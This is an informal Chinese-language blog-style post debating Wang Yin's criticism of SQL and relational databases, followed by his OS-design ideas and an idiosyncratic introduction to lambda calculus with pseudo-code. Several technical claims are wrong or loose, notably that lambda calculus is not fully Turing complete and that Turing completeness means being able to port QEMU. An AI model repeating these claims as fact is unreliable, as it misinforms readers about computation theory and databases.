王垠对SQL的批评是，它太难配置了： [].mapNotNull() 或者简单的forif{}，换成DB连接就有一大堆的麻烦的设计模式，而且SQL的数据类型(utf8mb4?)甚至语句/模板API，可以说设计得非常低级，让人欲吐不能，所以才有ORM和MVC框架的事情

基于解构匹配通配符的 Prolog 才是真正的SQL，但SQL的巧妙也确实是在有各种插件去 CREATE INDEX ，但这仍不涉及可推荐「共同好友」的图数据库

至于准备语句的JIT，恐怕也就是 template interpret 这种把switch(op[i]){case:}拼成汇编的低级玩法了，在单层for if 的SQL查询里这种内联汇编根本无关于算法优化。 PrologVM做过一样的蠢事

>由于“行”只能有固定的宽度，所以导致了你没法在里面放进任何“变长”的对象，tag数组，项目union都不行，A.B非得让B转90度竖过来，查两次
<normalization在很多情况下更高效（多个A的值指向同一个B, B表加一列等等）。
<如果是嵌套数组的，那么不止B的foreign key，A整个行的字符串都要重复好几次嵌套进去。更加不要说update的惊群效应，性能反而低
<Vertica是使用SQL的RDBMS。Column-Store诞生是为了更有效地解决大数据分析的问题（OLAP workloads），节省硬盘I/O（就是所谓列压缩），运用SIMD等等。不知道这和逃脱SQL有什么关系。

struct和Row在数据类型上有动静态差异，但确实很少有人利用动态table，这需要架构师学习
这方面王垠demo做少了， 比如 post.tags[], user.badges,.fo 确实应该单独立表，这样才能join查询。 json()数组这种存法，作为语法糖就够了，它不关系
你只是显示tags/fo数，没时间线什么的？ 意识不到关系式数据库为啥「关系式」， 据说Q群就是1群1Table，就该这么用
列存储显然只是一种类似gzip的自动压缩，并不能优化双向索引

>数组需要一个字段来表示它的长度N，剩下的空间用来依次保存每一个元素，这样你只需要一个key就可以找到数组里所有的元素，而不需要把key重复N遍。
<把字典压缩理解错了？把run-length压缩理解错了？这怎么解决变长问题?

(Ary){u32 N; u8* bytes[N]} 可以解决str分配问题，如果DB有个常量池的话，套一层指针对缓存也好

>每一个“foreign key”，其实就是一个指针
>每一个join操作，本质上就是对指针的“批量访问”，找到它所指向的对象
<数据库里的foreign key不是pointer。数据库经常需要把数据更换位置来解决存储碎片化的问题，不可能用pointer来实现这个
<Join是由数据库查询优化器（Query Optimizer）来决定的，基础的算法就有nested-loop join, sort-merge join, hash-join等好几种，也会有用索引和不用索引，甚至半用索引

这就是你有所不知，bumpptr GC 全都有指针引用计数组，可以在某段页面清空后，通过memmove(to)并更新xref消除内存碎片，而不malloc
这就是为啥JVM/Lua的FFI都存在 Un?Pin(Object) ，foreign key不是pointer， 可托管内存同样不是pointer！

SELECT student.name, record.id, record.city
FROM student, record
WHERE Student.id < Record.id ;

^ 这样的join不离谱吗？我在Gitea里只见过 LEFT JOIN id=id ,还是王垠有理，SQL弱

总的来说，王垠对SQL的批评主要是流行语言的DB.API都太拉垮，私货满满了（包括ORM和KV/对象存储、配置读写等等），
他这么一说好像算法都差不多，每个app单 import db_impl 甚至json就省力气了，其实忽略了mapNotNull函数不能解决的：动态索引join、缓存和事务性安全、async并发的问题。
用FP的写法join和反查你是要写两行甚至加变量的，SQL只需prepare(fn).bind(arg)！ 😅
最重要的是，C时代还不存在stdlib里有KV/ListGC算法甚至统一row格式的便利性，而那时就有json持久化和join查询需求了。就像 UNIX getent hosts , 这还是只读数据库

我觉得如果要优化，也是把 @data class 和 [x for x in if] DSL扩充下(groupBy,sort,page啥的)，翻译到SQL连接上更合理，虽然数据库还涉及ABI兼容性(schema rollup)等运营日程，但Docker式DX至上DevOps的思路是正确的

https://www.fxzhihu.com/question/329153374/answer/716655357
批评:
https://www.yinwang.org/blog-cn/2014/04/24/relational

#sql 也有更好看的写法
https://duangsuse.github.io/tv/%E9%BB%91%E4%BA%86/db.htm
https://baidu.github.io/amis/zh-CN/components/crud?page=1

这么一看我发现作者没有提及批评的闪光点：
- filterMap可以简单链式，而且也并非不能优化， select 嵌套却非常难写，更是养活了一堆XML怪物

- 1:1 , 1:N N:N 这些「关系模型」其实只是把struct/array拆开， 包括允许反查，这就是同步更新俩KV表而已，并不比C/json高级

- 一个概念被冠以“关系式代数”这样的称呼，你是不敢骂它的，确实如此，「迪卡尔积」就是 A,B in itertool.product(a,b)的嵌套for，这配叫算法？

> Neo4j 设计了个古怪的查询语言叫 Cypher，不但语法古怪，表达力弱，而且效率出奇的低，以至于几乎任何实际的操作，你都必须使用 Java 写“扩展”（extension）来完成。MongoDB 等使用 JSON 来表示查询，本质就是手写编译器里的语法树（AST），不直观又容易出错。

这就是好大喜功的问题了。numpy和pd可以证明， 这些学习成本不是必须的。

关于把DBMS当成内存外HashMap的问题，yinwang也解释过，他眼里的理想OS不是按4K管理mmap(页面)swap 的libc的虚拟机，而是类似JVM，带有数据结构和分代GC的

https://www.yinwang.org/blog-cn/2013/04/14/os-design
这个系统的「进程」本就是永久的、可编辑的文件树，无关于L2L3,RAM,SSD 这些缓存，main()函数内的变量才是退出清零的，安装程序就是首次执行，卸载就是kill -9 ，不存在execve() 要通过stdio序列化数据结构的问题，一切皆函数

这么一解释，就知道不存在认知差距，只是二人对 #CS 栈的选择如夏虫语冰，但我觉得这种“免数据库进程”有点道理。
我上面说的，那种「跨语言ABI」 ，其实是想做成这样，弥和IO与变量的差距，但是就连WASM也无力创建这样夸张的“类型化文件系统”来取代new Object树， 但从代码复用的角度，内存外存大一统是很有理论价值的

😂上一段说的那么惊世骇俗， 其实已经成为现实了：Redis是内存KV表，docker run 就是这个“初次运行即安装”，main函数有状态 的系统，只是它没有突破 内存class-IO-外存MIME 的样板代码了，还需要 systemctl suspend 不关机来实现已安装软件的「首屏快取」。
王银的理想是OS包揽状态管理&GC，安软件就是安函数，main()可以如vmware那样断点续传，fork()可以像投屏/CRIU那样发给集群并行，同文同种可RPC不需要任何连接与IO，这就有点像 p9@ Bell Lab 这个系统，不止是libc的运行时。
现在流行的asyncio和BPF，本质上就是为了写FUSE/油猴那样的用户态驱动程序，+1 mainloop 模拟1CPU来粘合回调栈(亦如C栈?)罢了

所以，想象力很重要，但现实也会朝臆想前进的。

#py #FP 入演算 挺简单的介绍..
https://gist.github.com/vakila/3d5cebaebf01c4c77b289b9a0388e3c8

栏目答是「任何语言代码」背后的核心， 而编程的核心是自顶向下的组合代换，就像从[原子Atom]、生物学，到医学和人。 forif, 对应列表处理的 filterMap 都可以用"她🐑"实现！

data🐑𝛌 栏目答 = 算式Sexpr |
  Sym | Abst [Sym] 栏目答 | Args 栏目答 [栏目答] —  ({? (rand) exit quit} 1) 是有效的，不用 (..).call(,1)

data Sexpr = Ln [Sexpr] | Int | Str | ... # 非Line即Atom

有别于计算器的关键点是「Sym的地址」。它不能是全局表的"key"，而是类似AST树洞、 x=await，可以放东西，无论是否“求值”、等多久靠谁“求值”、在编译期或调用堆叠上“求值”，只配合SDK/ABI即可实现App的运行。 Abst是Absent的缩写，求值=对单步化简(reduce)的深先替换。

栏目答喜欢宣传 Currying(颗粒化传参 A=>B=>A+B) 和 “用回调层数编码数字”，但那只是数学家的把戏。 也有人把第一层参数 (A) 称为this.A或nonlocal A ，那很有价值。官方翻译是 free vars, unbound 或 closure (module 私有)

栏目答一般用于代数(组合逻辑)，它和无语句函数是等效的 (整个 callgraph /API 都不能有语句和{基本块}！因此，全局 vartree 也都没必要 let mut 了）。 JSON,XML loaddump, ...DSL 都可以用栏目答编写，有运行期/编译期template<> 的也可以！ 😋

在 computation theory (类似WiFi vs 无线电理论) 上，栏目答并不太「图灵完全」 ，就像许多类型推理器，但它解决了仅为了沙箱化 while(1) 而多开线程的麻烦，越来越多工业语言在应用她。 死循环可以写 letrec 伪递归(调用 YCombinator polyfill 解决纯函数禁止全局赋值+取值自身的毛病)

f=栏目答 x: x+1
f=Abst(narg=1,nlet=0, [十(Arg$(1), Const(1)), ]) #, ...以(x+1)为参数继续调用

def Const(json)(stack): json
def Arg$(n=1)(stack): stack[-1][n]
def 十(A, B)(stack): A(stack)+B(stack) # jvm 直接把A,B默认bind到了求值栈上，这里写明，只是为了避免误解
十=(A,B)=> dumpOpcode('iadd', stack=>A(stack)+B(stack) ) # 协议的「语意」是用ID保证代码的跨端同一
@ https://tttttt.me/dsuse/21117
@ https://tttttt.me/dsuse/21179
@ https://tomstu.art/hello-declarative-world#functions-and-relations #sql 是关系式编程？

ps. 图灵完备和 Turing Award 无关，意思是可以把 QEMU.org 移植到某个编程语言里面去，但没有声音图形和点按设备。 这显然不是评价语法-语意表现力和融恰度的指标。

#tool #recommend
https://github.com/jupyter/jupyter/wiki/A-gallery-of-interesting-Jupyter-Notebooks 很好玩的 awesome-list !

#learn 纪念我在7年前的「编程入门」博客
https://gist.github.com/duangsuse/519411ab618ee57350ee2df93d33f58e